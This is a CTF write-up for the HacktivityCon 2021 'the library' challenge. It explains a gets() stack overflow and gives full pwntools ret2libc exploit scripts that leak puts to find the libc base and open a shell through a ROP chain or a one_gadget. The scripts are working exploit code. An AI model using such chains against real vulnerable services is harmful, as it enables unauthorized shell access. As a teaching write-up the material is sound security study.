HacktivityCon🏆 2021 the library The library was as simple as ret2libc can be.
Files
The binary
The program asks you to guess what book it is thinking about.
Buffer Overflow
The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:
Ret2libc
If you are not used to that concept, the post bellow might help:
x64 ret2libc To leak libc base we can use rop gadgets to call puts passing a got address as argument.
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context . binary = ELF ( './the_library' ,checksec = False )
libc = ELF ( './libc-2.31.so' ,checksec = False )
io = remote ( 'challenge.ctf.games' , 31125 )
rop = 552 * 'A'
rop += p64 ( 0x 401493 ) # pop rdi; ret
rop += p64 (e.got[ 'puts' ])
rop += p64 ( 0x 4010e0 ) # puts@plt
rop += p64 (e.sym[ 'main' ])
io . recvrepeat ( 0.03 )
io . sendline (rop)
io . recvuntil ( 'Wrong :(' )
io . recvline ()
leak = u64 (io. recv ()[: 6 ]. ljust ( 8 , '\x00' ))
libc . address = leak - libc . sym [ 'puts' ]
After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.
Copy libc_rop = ROP (libc)
libc_rop . execve ( next (libc. search ( b '/bin/sh' )), 0 , 0 )
rop = 552 * 'A'
rop += libc_rop . chain ()
io . sendline (rop)
io . interactive ()
Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.
A few are available but we would have to set some registers to NULL.
In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.
This gadget should do it.
Copy rop = 552 * 'A'
rop += p64 ( 0x 40148c ) # r12; r13; r14; r15 = 0
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 (libc.address + 0x e6c7e ) # one_gadget
Final exploit
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context . binary = ELF ( './the_library' ,checksec = False )
libc = ELF ( './libc-2.31.so' ,checksec = False )
if args . REMOTE :
io = remote ( 'challenge.ctf.games' , 31125 )
else :
io = process (e.path)
rop = 552 * 'A'
rop += p64 ( 0x 401493 ) # pop rdi; ret
rop += p64 (e.got[ 'puts' ])
rop += p64 ( 0x 4010e0 ) # puts@plt
rop += p64 (e.sym[ 'main' ])
io . recvrepeat ( 0.03 )
io . sendline (rop)
io . recvuntil ( 'Wrong :(' )
io . recvline ()
leak = u64 (io. recv ()[: 6 ]. ljust ( 8 , '\x00' ))
libc . address = leak - libc . sym [ 'puts' ]
log . success ( 'Libc: ' + hex (libc.address))
rop = 552 * 'A'
rop += p64 ( 0x 40148c ) # r12; r13; r14; r15 = 0
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 (libc.address + 0x e6c7e ) # one_gadget
io . sendline (rop)
io . interactive ()